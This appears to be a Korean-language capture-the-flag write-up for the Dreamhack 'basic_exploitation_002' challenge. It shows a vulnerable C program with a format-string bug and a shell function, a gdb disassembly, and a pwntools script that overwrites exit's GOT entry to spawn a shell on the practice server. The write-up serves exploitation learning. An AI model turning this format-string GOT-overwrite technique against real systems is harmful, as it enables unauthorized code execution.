code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
checksec
gdb
결과pwndbg> disass main
Dump of assembler code for function main:
0x0804861c <+0>: push ebp
0x0804861d <+1>: mov ebp,esp
0x0804861f <+3>: add esp,0xffffff80
0x08048622 <+6>: call 0x80485c2 <initialize>
0x08048627 <+11>: push 0x80
0x0804862c <+16>: lea eax,[ebp-0x80]
0x0804862f <+19>: push eax
0x08048630 <+20>: push 0x0
0x08048632 <+22>: call 0x8048410 <read@plt>
0x08048637 <+27>: add esp,0xc
0x0804863a <+30>: lea eax,[ebp-0x80]
0x0804863d <+33>: push eax
0x0804863e <+34>: call 0x8048420 <printf@plt>
0x08048643 <+39>: add esp,0x4
0x08048646 <+42>: push 0x0
0x08048648 <+44>: call 0x8048470 <exit@plt>
End of assembler dump.
[ebp-0x80]
[ebp]
[ebp+0x4]
buf
와 RET
의 offset은 0x84
이다.exploit
설계get_shell
함수가 실행되면 좋겠다.ret
을 건드리는 것도 생각해봤지만, main
함수에서 return 0
을 하기 전에 exit
을 하므로, exit_got
을 overwrite해서 get_shell
함수의 주소로 바꾸는 것이 좋을 것 같다.format string
만들기-1get_shell
의 주소가 너무 크기 때문에 exit_got
에 그 값을 한번에 overwrite할 수는 없다.
따라서 get_shell
0x08048609
을 exit_got+2
에는 0x0804
가 들어가고, exit_got
에는 0x8609
가 들어가도록 format string을 만들어보자!
basic_exploitation_002
를 실행하고 format string을 보내보면 보낸 fstring이 바로 %p
에서 인자로 사용하는 것을 알 수 있다.p32(exit_got+2)
와 p32(exit_got)
을 넣으면 그 다음 참조하는 인자들이 각각 exit_got+2
와 exit_got
이 될 것이다.%원하는 길이c%원하는idx$hn
으로 원하는idx 인자에 앞에서 출력된 길이의 값을 넣을 수 있다. (2바이트만 넣고 싶으므로 %hn
을 쓴다)exit_got+2
에 0x0804
를 넣고싶으면 앞에 8바이트는 이미 썼으므로 그 값을 빼고 %c
를 쓴다.exit_got
에도 아까 0x804
만큼 출력을 했으니 0x8609
에서 그 값을 빼서 출력하게 한다.format string
만들기-2fstring = fmtstr_payload(1, {exit_got : get_shell})
fmtstr_payload
함수를 이용해서 쉽게 포맷 스트링을 만들 수 있다. 1번째 가변인자가 위치한 exit_got
에 get_shell
을 overwrite할 수 있는 포맷 스트링을 만들어달라는 명령어이다.
exploit
from pwn import *
p = remote('host3.dreamhack.games', 8277)
e = ELF('./basic_exploitation_002')
exit_got = e.got['exit']
get_shell = 0x08048609
# fstring = fmtstr_payload(1, {exit_got : get_shell})
fstring = p32(exit_got+2) + p32(exit_got)
fstring += b'%2044c%1$hn' # 0x0804-0x8=2044
fstring += b'%32261c%2$hn' #0x8609-0x0804=32261
p.send(fstring)
p.interactive()